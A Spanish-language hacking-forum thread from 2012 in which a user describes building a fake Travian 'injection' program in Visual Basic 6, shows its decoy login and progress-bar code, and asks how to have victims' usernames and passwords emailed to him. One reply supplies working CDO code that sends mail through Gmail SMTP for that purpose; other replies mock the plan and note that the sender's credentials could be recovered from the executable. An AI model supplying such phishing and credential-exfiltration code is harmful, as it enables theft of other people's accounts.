Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: endzel en 31 Octubre 2012, 22:01 pm



Título: Enviar mails con la información.
Publicado por: endzel en 31 Octubre 2012, 22:01 pm
Hola muy buenos días gente de elhacker, soy algo nuevo o mejor dicho bastante nuevo en este foro, y tengo una duda con un mini ejecutable que estoy creando en vb 6 lo que pasa es que ya hace tiempo que no utilizaba este programa y se me han olvidado bastantes codigos, como el que les vengo a pedir ahora, estoy haciendo un ejecutable y necesito que la informacion puesta dentro de los campos creados se me envie a un mail, osea que el sujeto al poner su contraseña y usuario y al darle al boton de ok, se me envie un mail a mi mail con los datos puestos en este, si me pudieran ayudar le agradeceria demasiado, estuve buscando en el foro pero no encontre lo que necesitaba o busque mal, bueno de todas formas el post ya esta creado espero que me puedan ayudar, desde ya muchas gracias.


Título: Re: Enviar mails con la información.
Publicado por: MauroMasciar en 31 Octubre 2012, 22:11 pm
¿Y que es lo que tenes hecho hasta ahora?


Título: Re: Enviar mails con la información.
Publicado por: endzel en 31 Octubre 2012, 22:28 pm
¿Y que es lo que tenes hecho hasta ahora?


Bueno, estaba haciendo un fake para travian y lo que tengo hecho hasta ahora es.

Código:
Private Sub Command1_Click()
If Text1.Text = "user" And Text2.Text = "pass" Then
ProgressBar1.Max = 100
ProgressBar1.Min = 0
ProgressBar1.Value = i
For i = 0 To ProgressBar1.Max
ProgressBar1.Value = i
Next
End If
If ProgressBar1.Value = 100 Then
Form2.Show
MsgBox ("¡Login succesful!")
Form1.Hide
End If
End Sub

Esto seria como el login para hacerlo parecer normal.

Código:
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Timer1.Interval = Rnd * 300 + 10
ProgressBar1.Value = ProgressBar1.Value + 2
Label9.Caption = ProgressBar1.Value & "%"
If Label9.Caption = 100 & "%" Then
MsgBox "¡Injection completed!", vbInformation + vbDefaultButton1, "Travian 4"
End If
End Sub

Y esto seria el form2 que contiene un poco(casi nada) del codigo del ejecutable.

(http://i.imgur.com/1H2YN.png)

Aproposito, como puedo hacer spoilers?


Título: Re: Enviar mails con la información.
Publicado por: 79137913 en 2 Noviembre 2012, 19:20 pm
HOLA!!!

Código
  1. ub SendEmail()
  2.  
  3. Set iMsg = CreateObject("CDO.Message")
  4. Set iConf = CreateObject("CDO.Configuration")
  5. Set Flds = iConf.Fields
  6.  
  7. schema = "http://schemas.microsoft.com/cdo/configuration/"
  8. Flds.Item(schema & "sendusing") = 2
  9. Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
  10. Flds.Item(schema & "smtpserverport") = 465
  11. Flds.Item(schema & "smtpauthenticate") = 1
  12. Flds.Item(schema & "sendusername") =  Username@gmail.com
  13. Flds.Item(schema & "sendpassword") = password
  14. Flds.Item(schema & "smtpusessl") = 1
  15. Flds.Update
  16.  
  17. With iMsg
  18. .To = To
  19. .From = username@gmail.com
  20. .Subject = "Mail from gmail"
  21. .HTMLBody = "Test message using CDO in vb6 from Gmail smtp"
  22. Set .Configuration = iConf
  23. .Send
  24. End With
  25.  
  26. Set iMsg = Nothing
  27. Set iConf = Nothing
  28. Set Flds = Nothing
  29.  
  30. End Sub

P.D: Endzel: Te dejo el siguiente codigo, pero como es medio peligroso dejarlo asi nomas vas a tener que seleccionar el texto de abajo para leerlo .


LLL          AAAA     MMMM   MMMM  MMMM   MMMM  EEEEEE  RRRRR 
LLL         AA   AA   MM MM MM MM  MM MM MM MM  EE         RR    RR 
LLL        AA     AA  MM  MMM   MM  MM  MMM   MM   EEEE     RRRRR 
LLL        AAAAAAA MM    M      MM  MM   M      MM   EE         RR   RR 
LLLLLLL  AA      AA MM            MM  MM            MM  EEEEEE  RR     RR



GRACIAS POR LEER!!!


Título: Re: Enviar mails con la información.
Publicado por: MauroMasciar en 2 Noviembre 2012, 20:11 pm
P.D: Endzel: Te dejo el siguiente codigo, pero como es medio peligroso dejarlo asi nomas vas a tener que seleccionar el texto de abajo para leerlo .


LLL          AAAA     MMMM   MMMM  MMMM   MMMM  EEEEEE  RRRRR  
LLL         AA   AA   MM MM MM MM  MM MM MM MM  EE         RR    RR  
LLL        AA     AA  MM  MMM   MM  MM  MMM   MM   EEEE     RRRRR  
LLL        AAAAAAA MM    M      MM  MM   M      MM   EE         RR   RR  
LLLLLLL  AA      AA MM            MM  MM            MM  EEEEEE  RR     RR


Hiciste bien en esconderlo de esa manera chico :xD
@endzel se nota que tenes que seguir investigando, dejándolo como lo dejo @79137913 uno podría avivarse, descompilar el .exe y ver tu usuario y contraseña del GMail o Mail que le pongas.

Aparte, robar cuentas de Travian? Pfff
¿Y para que las necesitas?